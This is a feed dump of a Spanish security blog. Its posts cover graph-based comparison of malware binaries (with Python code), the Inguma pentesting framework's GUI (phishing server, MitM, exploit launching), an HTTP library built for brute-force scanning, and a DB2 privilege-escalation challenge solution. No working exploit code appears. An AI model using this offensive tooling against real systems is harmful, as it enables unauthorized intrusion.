48Bits Blog » 48Bits Projects http://blog.48bits.com 48Bits ... The one and a half architecture land. Thu, 19 Jan 2012 11:31:59 +0000 en hourly 1 http://wordpress.org/?v=3.3.1 Comparación de binarios por grafo http://blog.48bits.com/2011/01/23/comparacion-de-binarios-por-grafo/ http://blog.48bits.com/2011/01/23/comparacion-de-binarios-por-grafo/#comments Sun, 23 Jan 2011 18:33:44 +0000 matalaz http://blog.48bits.com/?p=1694 Hace ya bastante tiempo me puse a mirar como buscar similitudes entre programas basándose exclusivamente en grafos y estadísticas de los mismos, procurando huir siempre que fuera posible del código ensamblador, con la ayuda de muchas ideas de la gente de 48bits, especialmente. La idea es poder buscar similitudes entre múltiples binarios para agruparlos (por ejemplo, para crear subgrupos de baterías de malware similares a partir de una batería más grande) o comparar 2 binarios y extraer sus similitudes (útil para buscar vulnerabilidades corregidas en parches, aunque este post no va de eso). El resultado de todo esto es una serie de algoritmos “WorksForMe” (TM) qué he implementado utilizando Pyew (inicialmente la idea era utilizar IDA pero, a pesar de que funcione mejor, me gusta más utilizar software libre y a poder ser mío, manías).

¿Qué coño es eso de Pyew?

Para quienes no lo conozcan, Pyew es un proyecto Open Source muy similar a radare o hiew, escrito en Python y principalmente orientado a la automatización de análisis de malware. Pyew tiene soporte para muchos formatos de archivo (PDF, OLE2, …) pero los que nos importan ahora son PEs y ELF (aunque el soporte de ELF no es muy bueno que se diga).

Análisis de código

Cuando abrimos un archivo de este tipo (PE o ELF) Pyew realiza análisis de código para encontrar las funciones que se encuentren en este binario. Utiliza un algoritmo muy similar al de IDA: Analiza, instrucción por instrucción, todos los puntos de entrada del binario y va buscando llamadas a funciones, poniéndolas en una cola para posterior análisis, hasta agotar todos los elementos de dicha cola (podéis leer más del algoritmo utilizado en Pyew aquí). Después de este paso, opcionalmente, se pondrá a buscar funciones buscando los prólogos de función más típicos de x86 y x86_64.

Una vez que el análisis ha finalizado, se realizan unos cálculos estadísticos, y se obtienen muchos datos interesantes para la agrupación o búsqueda de similitudes, siendo los más importantes los siguientes:

Explicado lo básico, vamos a ver los algoritmos que he implementado.

Algoritmo 1: Sistema experto

Esta fue una de las primeras ideas que tuve: Teniendo los datos de complejidad ciclomática media, máxima, mínima así como el número de funciones de un binario, esto se podría utilizar como un hash para comparar, rápidamente, 2 o varios binarios. Si todos los datos son iguales, los binarios son clasificados como “100% similares” (que no iguales). Si no lo son, entonces se calcula la distancia de estos valores y se le asigna un porcentaje a cada valor sacado:

  • Media de la complejidad ciclomática: 50% de la diferencia.
  • Máxima de la complejidad ciclomática: 30% de la diferencia.
  • Mínima de la complejidad ciclomática: 10% de la diferencia.
  • Total de funciones: 10% de la diferencia.

El siguiente es el código de ejemplo utilizado:

#!/usr/bin/env python
# This code is under the GPLv2
import os, sys

from hashlib import sha256
from pyew_core import CPyew

class CExpertCluster(object):
    def __init__(self, data):
        self.data = data

    def compareTwoSets(self, set1, set2):
        # Get the ciclomatic complexity statistical data of the 2 samples
        ccs1 = set1.values()[0].program_stats["ccs"]
        ccs2 = set2.values()[0].program_stats["ccs"]

        avg_cc_distance = abs(ccs1["avg"] – ccs2["avg"])
        max_cc_distance = abs(ccs1["max"] – ccs2["max"])
        min_cc_distance = abs(ccs1["min"] – ccs2["min"])
        total_functions = abs(len(set1.values()[0].functions) – len(set2.values()[0].functions))
        difference = avg_cc_distance*0.5 + \
                     max_cc_distance*0.3 + \
                     min_cc_distance*0.1 + \
                     total_functions*0.1
        return difference

    def cluster(self):
        set1 = self.data[0]
        set2 = self.data[1]
        return self.compareTwoSets(set1, set2)

class CGraphCluster(object):
    def __init__(self):
        self.clear()
        self.deep = False
        self.timeout = 0

    def addFile(self, filename):
        self.files.append(filename)

    def clear(self):
        self.files = []
        self.results = []
        self.data = []

    def processFile(self, filename):
        print "[+] Analyzing file %s" % filename
        pyew = CPyew(batch=True)
        pyew.deepcodeanalysis = self.deep
        pyew.analysis_timeout = 0
        pyew.loadFile(filename)

        if pyew.format in ["PE", "ELF"]:
            hash = sha256(pyew.getBuffer()).hexdigest()
            self.data.append({hash:pyew})
        else:
            print "Not a PE/ELF file"

    def compareExpert(self):
        cluster = CExpertCluster(self.data)
        val = cluster.cluster()

        if val == 0:
            print "Expert system: Programs are 100% equals"
        else:
            print "Expert system: Programs differs in %f%s" % (round(val, 1), "%")

        return val

    def processFiles(self):
        for f in self.files:
            self.processFile(f)

def main(prog1, prog2):
    cluster = CGraphCluster()
    cluster.addFile(prog1)
    cluster.addFile(prog2)
    cluster.processFiles()
    cluster.compareExpert()

def usage():
    print "Usage:", sys.argv[0], "file1 file2"

if __name__ == "__main__":
    if len(sys.argv) != 3:
        usage()
    else:
        main(sys.argv[1], sys.argv[2])
 

Y ahora explico un poco el código. Hay 2 clases:

  1. CGraphCluster: Es la clase principal, encargada de analizar los archivos pasados con pyew y guardar sus datos en miembros de la clase.
  2. CExpertCluster: Esta es la clase que se encarga realmente de comparar los 2 binarios, con el algoritmo comentado, a partir de los datos sacados con pyew.

Prueba

Para hacer las pruebas voy a coger primero unos cuantos programas de ejemplo muy simples, y compilarlos con Mingw en PEs: clean.c, test.c, test2.c, test3.c, test4.c y test5.c. Y ahora vamos a ver que tal se porta este sistema de comparaciones:

$ graph_test1.py clean.exe test.exe
[+] Analyzing file clean.exe
[+] Analyzing file test.exe
Expert system: Programs differs in 0.100000%
$ graph_test1.py clean.exe test2.exe
[+] Analyzing file clean.exe
[+] Analyzing file test2.exe
Expert system: Programs differs in 0.900000%
$ graph_test1.py clean.exe test3.exe
[+] Analyzing file clean.exe
[+] Analyzing file test3.exe
Expert system: Programs differs in 0.900000%
$ graph_test1.py clean.exe test4.exe
[+] Analyzing file clean.exe
[+] Analyzing file test4.exe
Expert system: Programs differs in 1.000000%
$ graph_test1.py clean.exe test5.exe
[+] Analyzing file clean.exe
[+] Analyzing file test5.exe
Expert system: Programs differs in 1.000000%

Como se puede ver, parece que el sistema funciona medianamente bien con los programas de ejemplo. El siguiente paso es probarlo con malware. Para ese ejemplo he probado con los archivos siguientes:

e1acaf0572d7430106bd813df6640c2e  HGWC.ex_
73be87d0dbcc5ee9863143022ea62f51  BypassXtrap.ex_

Si probamos a comparar esto archivos con, por ejemplo, ssdeep, veremos que nos dice que no se parecen ni en el ano:

$ ssdeep -b HGWC.ex_ BypassXtrap.ex_
ssdeep,1.0--blocksize:hash:hash,filename
12288:faWzgMg7v3qnCiMErQohh0F4CCJ8lnyC8rm2NY:CaHMv6CorjqnyC8rm2NY,"HGWC.ex_"
49152:C1vqjdC8rRDMIEQAePhBi70tIZDMIEQAevrv5GZS/ZoE71LGc2eC6JI/Cfnc:C1vqj9fAxYmlfACr5GZAVETeDI/Cvc,"BypassXtrap.ex_"

Sin embargo, si hacemos la prueba con este script:

$ graph_test1.py HGWC.ex_ BypassXtrap.ex_
[+] Analyzing file HGWC.ex_
[+] Analyzing file BypassXtrap.ex_
Expert system: Programs are 100% equals

Un análisis un poco más en profundidad de los bitxos y tal muestra que ambos están empacados con AutoIt.

Problemas de este algoritmo

Uno de los problemas más claros de este algoritmo es que agrupando por grafo estaríamos agrupando por el packer, si los archivos no están desempacados, como está claro. Sin embargo, a veces, también interesa agrupar por packers (por ejemplo, por packers de malware).

Otro de los problemas es que es relativamente fácil crear colisiones: se podrían hacer binarios que generasen el mismo hash que, por ejemplo, el notepad de Windows, de un modo no demasiado complicado (poniendo funciones que no hagan nada más que cambiar los datos estadísticos).

Además, hay que tener en cuenta otro problema más: Solo vale para comparar 2 archivos, no para comparar grupos de archivos. Aunque siempre se podrían utilizar los datos en que se basa este algoritmo para realizar la agrupación (como se verá en la herramienta ya finalizada).

Algoritmo 2: Comparación con números primos y firma de funciones

En este caso lo que se hace es coger para cada función los datos de grado de entrada, grado de salida y complejidad ciclomática (una lista [indegree, outdegree, complexity]) y considerar estos 3 datos como la firma de la función (es decir, una función con firma [1, 2, 3] en un binario se considera que es igual a otra función con esa misma firma en otro binario).

Además de obtenerse este conjunto para cada binario, con la complejidad ciclomática de cada función, se obtiene un número primo asociado a su valor y se multiplican todos los valores encontrados excluyendo repetidos. Es decir, si una función tiene complejidad 5, se coge el 5º primo, si la siguiente función tiene complejidad 19, se coge el 19º primo y, suponiendo que un binario solo tuviera estas 2 funciones, el hash rápido generado basado en números primos será la multiplicación del 5º primo * 19º primo. De esta multiplicación, se excluyen aquellas funciones cuya complejidad ciclomática sea 1.

Una vez que se tienen calculados ambos datos (los grupos de firmas de función de cada binario y el hash hecho con números primos) se compara primero el hash, si este es igual, se considera que el binario es “100% similar” (repito, que no igual) y ya no es necesario continuar haciendo nada más. En caso de que no coincida el hash, se obtiene el total de elementos de la intersección de ambos conjuntos (estamos suponiendo la comparación de 2 binarios), el total de elementos de la diferencia de conjuntos y el número máximo de elementos de conjuntos (es decir, el mayor del total de elementos del conjunto 1 y conjunto 2). Y, finalmente, con estos datos se procede al cálculo de la diferencia entre ambos binarios.

Menuda mierda de explicación

Ya, no se entiende una oxtia, intentaré explicarme mejor respondiendo a las preguntas típicas acerca de este algoritmo:

  1. ¿Para qué generas un valor con números primos si luego, en caso de que no coincidan, realizas unas operaciones donde nada tienen que ver los números primos? El valor obtenido multiplicando los números primos se utiliza para hacer una comprobación rápida de 2 o más archivos, es decir, si estoy comparando 100 archivos a la vez, mirar si el valor obtenido es igual es más rápido que comprobar la intersección y diferencia de conjuntos.
  2. ¿Cómo se aplica esto para varios archivos? Hoy por hoy, lo hago comparando cada archivo con todos los demás. Es decir, si tengo 100 archivos, haré 100*100 comparaciones.

Prueba

Para probar este algoritmo, agregamos el siguiente código al archivo graph_test1.py anterior:

def primes(n):
    if n==2: return [2]
    elif n<2: return []
    s=range(3,n+1,2)
    mroot = n ** 0.5
    half=(n+1)/2-1
    i=0
    m=3
    while m <= mroot:
        if s[i]:
            j=(m*m-3)/2
            s[j]=0
            while j<half:
                s[j]=0
                j+=m
        i=i+1
        m=2*i+3
    return [2]+[x for x in s if x]

class CPrimesCluster(object):
    def __init__(self, data):
        self.primes = primes(1024*1024)
        self.data = data

    def generateHash(self, pyew):
        val = 1.
        dones = []
        primes_done = []
        for f in pyew.functions:
            nodes, edges, cc = pyew.function_stats[f]
            if cc > 1 and (nodes, edges, cc) not in dones:
                p = self.primes[cc]
                if p not in primes_done:
                    val *= p
                    primes_done.append(p)
                dones.append((nodes, edges, cc))

        return val, dones

    def compareManySets(self, sets):
        files = {}
        primes = {}
        values = {}
        print "File1;File2;Difference"
        for s in sets:
            pyew = s.values()[0]
            val, prime = self.generateHash(pyew)
            hash = sha256(pyew.getBuffer()).hexdigest()

            primes[hash] = prime
            values[hash] = val
            files[hash] = pyew.filename
            del pyew

        dones = []
        size = len(primes)
        for h1 in values:
            for h2 in values:
                if h1 == h2 or (h1, h2) in dones or (h2, h1) in dones:
                    continue

                if values[h1] == values[h2]:
                    print "%s;%s;0" % (files[h1], files[h2])
                    dones.append((h1, h2))
                    dones.append((h2, h1))
                else:
                    dones.append((h1, h2))
                    dones.append((h2, h1))
                    s1 = set(primes[h1])
                    s2 = set(primes[h2])
                    diff = self.getSimilarity(s1, s2)

                    print "%s;%s;%f" % (files[h1], files[h2], diff)

    def getSimilarity(self, s1, s2):
        m = max(len(s1), len(s2))

        diff1 = len(s1.difference(s2))
        diff2 = len(s2.difference(s1))
        diff = (diff1 + diff2)*100./m

        simil1 = len(s1.intersection(s2))
        simil = simil1*100. / m

        metric = simil + diff
        diff = diff * 100. / metric

        return diff

    def compareTwoSets(self, set1, set2):
        pyew1 = set1.values()[0]
        val1, primes1 = self.generateHash(pyew1)
        pyew2 = set2.values()[0]
        val2, primes2 = self.generateHash(pyew2)
        s1 = set(primes1)
        s2 = set(primes2)

        if val1 == val2:
            return 0
        else:
            diff = self.getSimilarity(s1, s2)
            return diff

    def cluster(self):
        if len(self.data) == 2:
            set1 = self.data[0]
            set2 = self.data[1]
            return self.compareTwoSets(set1, set2)
        else:
            return self.compareManySets(self.data)
 

Luego en la clase CGraphCluster agregamos el siguiente método:

   def comparePrimes(self):
        cluster = CPrimesCluster(self.data)
        val = cluster.cluster()

        if val == 0:
            print "Primes system: Programs are 100% equals"
        else:
            print "Primes system: Programs differs in", val, "% percent"
 

Y, finalmente, cambiamos la función main para que quede como sigue:

def main(prog1, prog2):
    cluster = CGraphCluster()
    cluster.addFile(prog1)
    cluster.addFile(prog2)
    cluster.processFiles()
    cluster.compareExpert()
    cluster.comparePrimes()
 

Una vez hechos los cambios empezamos a probar el algoritmo con los mismos ejemplos anteriores (los programitas tontos de antes y los 2 ejemplos de malware). Los resultados son los siguientes:

$ graph_test1.py clean.exe test.exe
[+] Analyzing file clean.exe
[+] Analyzing file test.exe
Expert system: Programs differs in 0.100000%
Primes system: Programs differs in 14.2857142857 % percent
$ graph_test1.py clean.exe test2.exe
[+] Analyzing file clean.exe
[+] Analyzing file test2.exe
Expert system: Programs differs in 0.900000%
Primes system: Programs differs in 25.0 % percent
$ graph_test1.py clean.exe test3.exe
[+] Analyzing file clean.exe
[+] Analyzing file test3.exe
Expert system: Programs differs in 0.900000%
Primes system: Programs differs in 25.0 % percent
$ graph_test1.py clean.exe test4.exe
[+] Analyzing file clean.exe
[+] Analyzing file test4.exe
Expert system: Programs differs in 1.000000%
Primes system: Programs differs in 37.5 % percent
$ graph_test1.py clean.exe test5.exe
[+] Analyzing file clean.exe
[+] Analyzing file test5.exe
Expert system: Programs differs in 1.000000%
Primes system: Programs differs in 25.0 % percent
$ graph_test1.py HGWC.ex_ BypassXtrap.ex_
[+] Analyzing file HGWC.ex_
[+] Analyzing file BypassXtrap.ex_
Expert system: Programs are 100% equals
Prime: Programs are 100% equals

Como se puede ver este sistema ‘funciona’, aunque da porcentajes muy diferentes con los ejemplos de prueba anteriores. Con los 2 bitxos empacados con AutoIt, sin embargo, nos sigue diciendo que son exactamente iguales.

Problemas

Los problemas de este algoritmo son exactamente los mismos que en el caso anterior: Agrupa por packer y se podría (aunque con este algoritmo se hace más complicado) hacer un programa que tuviera la misma firma que un notepad y diferente comportamiento (un malware, por ejemplo).

Herramienta final

El script ya finalizado con algunas cositas más lo podéis descargar aquí (requiere Pyew, acordaros). Las modificaciones que tiene este script son para utilizarlo con baterías de archivos. Puede recibir 2 parámetros, siendo 2 programas (ELF o PE) a comparar o un directorio. En caso de ser un directorio, se analizan todos los archivos de ese directorio y sus subdirectorios y se imprime, con formato CSV, la lista de archivos, hashes y todos los datos obtenidos de las funciones.

Uso de la herramienta con baterías

El archivo CSV generado se puede utilizar con GNumeric, LibreOffice/OpenOffice o MS Office para ver que grupos existen (o importarlo a una base de datos). Voy a mostrar una prueba con una batería de 28 malwares (detectados por varios AVs como TDSS.Z, aunque realmente hay un poco de todo). Los siguientes son los resultados con la herramienta ssdeep:

En esta imagen se puede ver que la herramienta, por fuzzy hashing, solo encuentra 2 archivos similares. En la siguiente imagen se muestran los resultados con deeptoad:

Vemos que esta herramienta consigue encontrar alguna similitud más agrupando 4 archivos. Ahora hagamos la prueba con los datos que genera la herramienta de comparación por grafos:

Y en este caso vemos que se crea un grupo más grande. Si comparamos los 10 archivos que ha agrupado veremos que en la mayoría de casos nos dirá que son 100% similares y, en otros, que las diferencias entre ellos son mínimas, como por ejemplo con los 2 primeros archivos que se ven en la imagen:

$ gcluster.py d8e8001a175e777ff4d56a6a7b9d32f37178cc24010d4e4d0e8e4027ac69c54d 28a847f4010f95fd3302816559b8cc4be433445aad26b04ff3d688e42ae5b0a1
Expert system: Programs differs in 0.100000%
Primes system: Programs differs in 16.8421052632 % percent

Notas finales

De momento lo dejo aquí porque el post ya es bastante grande. Seguramente vuelva a postear algo más acerca de grafos en el futuro pero, de momento, aquí se acaba. Espero que os haya gustado este totxazo de post y que os pueda valer para algo.

Muchas gracias a toda la peña de 48bits por su ayuda y especialmente a Marconi por haberme ayudado con correcciones a los algoritmos y con el post.

]]> http://blog.48bits.com/2011/01/23/comparacion-de-binarios-por-grafo/feed/ 8 Inguma is dead, long live Inguma http://blog.48bits.com/2010/03/22/inguma-is-dead-long-live-inguma/ http://blog.48bits.com/2010/03/22/inguma-is-dead-long-live-inguma/#comments Mon, 22 Mar 2010 08:55:55 +0000 Hugo Teso http://blog.48bits.com/?p=1269

Nota: En un principio este artículo estaba escrito pensando en publicarlo un par de días antes de la RootedCon, pero un accidente inesperado me dejó sin poder asistir y me ha obligado a retrasar su publicación. Tenedlo en cuenta mientras lo leáis.

Aprovechando la reciente creación de nuestra página de herramientas, la próxima celebración de la primera edición de la RootedCon y que el Daman Ganga pasa por Silvassa voy a presentar un pequeño proyecto en el que he estado trabajando. El objetivo es que, bien por el blog, correo o twitter o en persona en la rooted, me deis vuestras opiniones, consejos, etc.

El proyecto en sí no es nuevo, fue creado por nuestro hamijo Joxean a principios del 2007, se llama Inguma y consiste en un framework escrito en Python para hacer tests de intrusión y buscar vulnerabilidades. Si alguno de vosotros visita la página le parecerá que el proyecto está muerto, pero sólo estaba dormido. Aparte de la propia web del proyecto, os dejo unos enlaces que hablan de Inguma para que os hagáis una idea de que va:

Durante mi último período de “vacaciones forzadas” aproveché para poner a prueba una idea que me rondaba la cabeza desde hacía tiempo, así que intenté crear una interfaz gráfica para Inguma (también programada en Gimp Python) que diese forma a esa idea: “todo en dicha interfaz ha de girar alrededor de los datos, no de las herramientas o los módulos”. Se supone que de esta forma el usuario puede centrarse en los resultados, los objetivos, los datos, etc… en resumen, en el “Qué” en vez del “Cómo”. Bonito eh?

Desde entonces ese pequeño proyecto privado ha ido creciendo poco a poco y hoy quiero mostraros por encima como está para que me deis vuestras opiniones. Así pues, vamos a lo que nos atañe; señoras y señores, les presento la nueva pantalla principal de Inguma:

En esta primera captura podemos ver una de las pantallas principales de Inguma, la que nos permite llevar a cabo la mayor parte del trabajo de red. Fijaos que prácticamente no hay señal de los módulos de Inguma. La barra superior nos permite Abrir, Guardar, Editar, mostrar/ocultar datos o modificar las preferencias; salvo esto tan sólo un par de botones dedicados a funcionalidades más “independientes” como el sniffer, el servidor web para “phishing” (o lo que surja) o el proxy TCP.

Por otro lado tenemos las dos vistas de los datos recopilados: la visual y la textual. La vista con el gráfico es la que centra la mayor parte del trabajo mediante el uso de menús contextuales que varían en función del nodo o el vértice seleccionado. El contenido de esta vista varía en función del tipo de datos y el nivel de detalle pero siempre bajo la misma premisa: representación visual y menús contextuales.

La vista con los datos en modo texto nos permite estudiar los datos de una forma más normal; que no es tan fácil visualizar todo tipos de datos y relaciones así como así! Por último tenemos una zona donde aparecen los diferentes mensajes de salida de la herramienta. Esta zona y la de datos en texto se pueden ocultar o redimensionar al gusto de sus señorías.

Si seguimos las pestañas de la parte izquierda nos encontramos con la siguiente pantalla, la de terminales.

Como Inguma no pretende ser capaz de hacer de todo y no todos los módulos tienen un equivalente en la interfaz gráfica (todavía), en esta página se agrupan todos los terminales que se van abriendo durante el trabajo; tanto los que abrimos nosotros como los que abren algunas herramientas de Inguma como el sniffer o scapy.

Una de las premisas que me marqué al crear esta interfaz fue que no quería perder toda la potencia de herramientas como scapy (y la linea de comandos en general) debajo de capas y capas de abstracción, así que me las he apañado para que los paquetes enviados/recibidos por todos los módulos de Inguma que usen scapy se queden guardados para que luego se puedan examinar en un terminal usando scapy.

La siguiente pestaña (es posible que cambie el orden) es la pestaña que agrupa las herramientas de ingeniería inversa de Inguma; a saber: un desensamblador (OpenDis, aunque seguramente acabe siendo Pyew o Radare), un depurador (sin pasarme de listo, que es el vtrace de kenshoto) y en un futuro el fuzzer Krash). Me temo que esta es la parte que más verde está de la interfaz.

Por último la pestaña de Exploits es la que nos permite gestionar (que no usar) los diferentes exploits de los que dispone Inguma: los propios, los de exploit-db y, en breve, los de metasploit.

Inguma incluye un simple editor que permite crear/modificar módulos para la propia herramienta o estudiar/modificar los exploits disponibles, pero el lanzamiento de exploits, como todo en esta herramienta, se hace desde los menús contextuales de la vista gráfica:

La parte de Metasploit me temo que está por llegar así que no hay capturas; aún así visto por el lado bueno, tenéis más margen para imaginar como os gustaría que fuese ;) Por ahora me limito a lanzar un terminal con Metasploit y con los datos ya especificados cada vez que se selecciona la opción en un nodo:

Una de las bases de Inguma es que por defecto tiene que ser auto-suficiente en lo que sea capaz de hacer pero también dar la opción de usar herramientas más especializadas y, no nos engañemos, mejores en otras tareas. Ejemplos de esto son el mismo Metasploit, Nmap o el Nessus.

A parte de lo visto también tengo otras pruebas de concepto en diferentes estados de desarrollo, por ejemplo:

  • Una nueva categoría de módulos centrada en Explotación Táctica.
  • Geolocalización.
  • Interfaz tipo VisualSploit para pyshellcodelib.
  • Desde que comencé con esto me ha encantado la idea de poder hacer un MitM arrastrando un vértice hacia el nodo de localhost. Alguna idea más de este tipo?
  • Informes, esta parte la tengo muy, muy verde; se agradecerían consejos para ver como transformar toda esa información en bonitos informes.
  • Nuevos gráficos para otros tipos de datos/relaciones. También estoy buscando un diseño para los grafos más… bonito.

Pues me parece que como presentación del proyecto con esto ya tenemos bastante, no? Ahora ya todo es esperar vuestras opiniones y consejos. A parte de los comentarios, también podéis usar el correo o mi twitter donde iré poniendo las novedades del proyecto.

!!GRASIAS DE HANTEBRASO HAMIJOS!!

Correo:

Una mala noticia: la descarga. Me temo que hasta que no me recupere del accidente no creo que pueda subir el código. En cuanto lo haga avisaré pero por el momento sólo podremos verlo en capturas; sí, yo incluido :P

]]> http://blog.48bits.com/2010/03/22/inguma-is-dead-long-live-inguma/feed/ 15 Linux SPARC Shellcodes http://blog.48bits.com/2009/02/19/linux-sparc-shellcodes/ http://blog.48bits.com/2009/02/19/linux-sparc-shellcodes/#comments Thu, 19 Feb 2009 06:58:16 +0000 coder http://blog.48bits.com/?p=322 Con el paso de los años, muchas máquinas SUN se han quedado sin el paquete de servicio -es decir, sin garantía hardware- y muchos administradores han acabado instalando Linux en ellas, por aquello de que “es gratis” y “funciona igual”. Este documento [1] describe la programación de shellcodes de varios tipos bajo arquitectura SPARCv9 con Linux como SO, y deja la puerta abierta para continuar investigando las shellcodes polimórficas en este entorno. Seguramente contendrá errores, por lo que todas las correcciones serán bienvenidas.

[1] Linux SPARC Shellcodes

]]> http://blog.48bits.com/2009/02/19/linux-sparc-shellcodes/feed/ 11 Fscan 1.0: Programando con la API de HTTP de FSCAN http://blog.48bits.com/2008/11/13/fscan-10-programando-con-la-api-de-http-de-fscan/ http://blog.48bits.com/2008/11/13/fscan-10-programando-con-la-api-de-http-de-fscan/#comments Thu, 13 Nov 2008 14:22:34 +0000 Andrés Tarascó http://blog.48bits.com/?p=294 Para los que lo estabais esperando, aquí está la versión compilada para win32 de Fscan 1.0 (FHScan), orientado a automatizar las tareas de revisión de routers y otros dispositivos HTTP.

FHscan Core api es una librería de HTTP/1.1 que fue desarrollada a raíz del proyecto “Fast HTTP Vulnerability Scanner“, hasta llegar a convertirse en el núcleo del mismo. Esta librería debía cumplir una serie de requisitos, velocidad, sencillez y flexibilidad, y por supuesto, dado que su objetivo principal era ser utilizada para ataques de fuerza bruta, soporte de varios mecanismos de autenticación (basic, digest y NTLM) así como soporte de compresión gzip/deflate, callbacks y SSL. El resultado es prometedor y dado que es portable y que me gustaría que la gente pudiese colaborar en su desarrollo, voy a dejar el rollo de exploits por una vez y os voy a contar algún ejemplo de como realizar aplicaciones mas o menos sencillas usando esta API.

Lo único que debéis incluir en vuestra aplicación es el fichero “HTTP.h” y una vez hecho esto, inicializar el motor de HTTP con InitHTTPApi(). Esta función se encarga de manter en memoria varias tablas que gestionan las conexiones activas, aunque eso es totalmente transparente para nosotros.

Antes de establecer una conexión es necesario generar un pseudoHandle al sistema remoto. Esto se consigue con la llamada InitHTTPConnectionHandle() cuyos parámetros son el host remoto, el puerto, y si la conexión usa o no SSL.

HTTPHANDLE HTTPHandle=InitHTTPConnectionHandle("blog.48bits.com",80,0);

Una vez generado el Handle, podemos empezar a generar peticiones. Todas estas peticiones se almacenan en una estructura PREQUEST que comentaremos más adelante. Véase un ejemplo de como realizar una peticion a la web de 48bits.

#include "HTTP.h"

void main(int argc, char *argv[]) {

InitHTTPApi(); //Inicialización del motor HTTP

HTTPHANDLE HTTPHandle = InitHTTPConnectionHandle("blog.48bits.com",80,0);

PREQUEST DATA=SendHttpRequest(HTTPHandle,NULL,"GET","/",NULL,NULL,NULL,NO_AUTH);
//do stuff with the data….

if (DATA) FreeRequest(DATA); //liberamos la memoria de la petición

CloseHTTPConnectionHandle(HTTPHandle); //Liberamos el Handle

CloseHTTPApi(); //Paramos el motor HTTP
}


La función SendHttpRequest() tiene 8 parámetros de los cuales 5 de ellos son opcionales.


SendHTTPRequest Function

- El primer parámetro es HANDLE al servidor HTTP remoto.
- El segundo parámetro es un vhost opcional que se enviará en la cabecera “Host: vhost”. Si no se especifica, se utilizará el valor de la llamada InitHTTPConnectionHandle()
- El tercer parámetro es el método HTTP utilizado. Este puede ser “GET”,”POST”,”PUT”,”WHATEVER”,…
- El cuarto parámetro son los datos enviados al servidor. en una petición GET, para acceder a “http://blog.48bits.com/?p=287″ deberíamos incluir “p=287″ en ese parámetro
- El quinto y sexto parámetro son también opcionales y especifican el usuario y la contraseña.
- El séptimo y último parámetro, es el tipo de autenticación utilizado. Si dejamos el valor por defecto ( 0 o NO_AUTH) el sistema lo negociará automáticamente.

Dado que ya está más o menos claro como enviar una petición, vamos a ver como se estructura la información devuelta, es decir, la estructura PREQUEST.

char    hostname [256]; //<– host o vhost sobre el que se ha hecho la petición
int     ip; //<- dirección ip  de un sockaddr_in
int     port; //<- puerto al que se establece la conexión
int     NeedSSL; //<- Indica si la petición ha utilizado SSL (1) o no ( 0)
char    url [512]; //<- dirección URL contra la que se ha realizado la peticion HTTP
PHTTP_DATA      request; //<- DATOS ENVIADOS
PHTTP_DATA      response; //<- DATOS RECIBIDOS
char *  server;   //<- banner del servidor Web
unsigned int    status  //<- código HTTP de la respuesta (200 si la pagina existe, 401 para acceso denegado,..)
unsigned int    challenge //<- tipo de autenticacion requerida por el servidor web (en base a la cabecera www-authenticate)
 

un sencillo ejemplo:

printf("Host: %s port: %i URL: %s – status: %i\n",DATA->hostname, DATA->port, DATA->url, DATA->status);

devolvería:

Host: blog.48bits.com port: 80 URL: /index.html – status: 200

Por último queda comentar los datos almacenados dentro de la estructura PHTTP_DATA (campos request y response). Esta es también una estructura sencilla que contiene los siguientes campos

char *Header;  // Cabeceras HTTP enviadas o recibidas
unsigned int    HeaderSize; //Tamaño de las cabeceras HTTP
char *Data; //Datos enviados (por ejemplo en una peticion POST) o recibidos (por ejemplo el codigo html)
unsigned int    DataSize; //tamaño del buffer
 

para ilustrar con mas detalle esto, aqui viene el ejemplo final :)

#include "HTTP.h"
void main(int argc, char *argv)
{
InitHTTPApi();
HTTPHANDLE HTTPHandle = InitHTTPConnectionHandle("blog.48bits.com",80,0);
if (HTTPHandle) {
 PREQUEST DATA= SendHttpRequest(HTTPHandle,NULL,"GET","/","p=290",NULL,NULL,NO_AUTH);
 if (DATA) {
  printf("Host: %s port: %i URL: %s – status: %i\n",DATA->hostname, DATA->port, DATA->url, DATA->status);
  printf("Peticion %i bytes:\n%s\n",DATA->request->HeaderSize,DATA->request->Header);
  printf("Respuesta %i bytes\n%s\n",DATA->response->HeaderSize,DATA->response->Header);
  printf("Datos %i bytes\n%s\n",DATA->response->DataSize,DATA->response->Data);
  FreeRequest(DATA);
 }
 CloseHTTPConnectionHandle(HTTPHandle);
}
}       
 

y la salida devuelta por la aplicación

Host: blog.48bits.com port: 80 URL: / – status: 200
Peticion 136 bytes:
GET /?p=290 HTTP/1.1
Host: blog.48bits.com
User-Agent: Mozilla/5.0 (FSCAN)
Accept-Encoding: gzip, deflate
Connection: keep-alive

Respuesta 433 bytes
HTTP/1.1 200 OK
Date: Thu, 13 Nov 2008 13:12:15 GMT
Server: Apache/2.2.3 (Debian) DAV/2 SVN/1.4.2 mod_python/3.2.10 Python/2.4.4 PHP/5.2.0-8+etch13 mod_ssl/2.2.3
OpenSSL/0.9.8c mod_perl/2.0.2 Perl/v5.8.8
X-Powered-By: PHP/5.2.0-8+etch13
X-Pingback: http://blog.48bits.com/xmlrpc.php
Vary: Accept-Encoding
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 19038

Datos 19038 bytes
//aqui va todo el código html devuelto por la página web..

Obviamente este es un ejemplo sencillo, pero es mucho más potente. Como primicia, si queréis mas información, podéis descargar la librería HTTP de Fscan en http://www.tarasco.org/security/fscan-core/ y consultar la documentación HTML que hay generada.

]]> http://blog.48bits.com/2008/11/13/fscan-10-programando-con-la-api-de-http-de-fscan/feed/ 9 Solución al exploit4f00d #2 http://blog.48bits.com/2008/07/20/solucion-al-exploit4f00d-2/ http://blog.48bits.com/2008/07/20/solucion-al-exploit4f00d-2/#comments Sun, 20 Jul 2008 10:54:45 +0000 matalaz http://blog.48bits.com/?p=258 Visto que con las vacaciones, las prequals y demás todo el mundo ha pasado de este reto pues ya va siendo hora de sacar la solución. La falla en cuestión se encontraba en la base de datos Ora.., digo, IBM DB2 v9.5 para Windows y era una escalada de privilegios local.Esta falla era realmente fácil de encontrar: Descargamos el enorme paquete de instalación desde el sitio de IBM, lo instalamos y lo primero que haría cualquiera es ver con Process Explorer que es lo que hacen más o menos los servicios que instala. Como podéis ver en la siguiente imagen, el resto es tontería:

IBM Deve Dos

¿Alguna pregunta niñ@s? Todos los procesos que instala IBM DB2 en Windows se ejecutan como NT AUTHORITY\SYSTEM, sin embargo, el proceso db2dasstm.exe se ejecuta de un modo chapucero consiguiendo que cualquiera pueda hacer lo que quiera con el proceso.

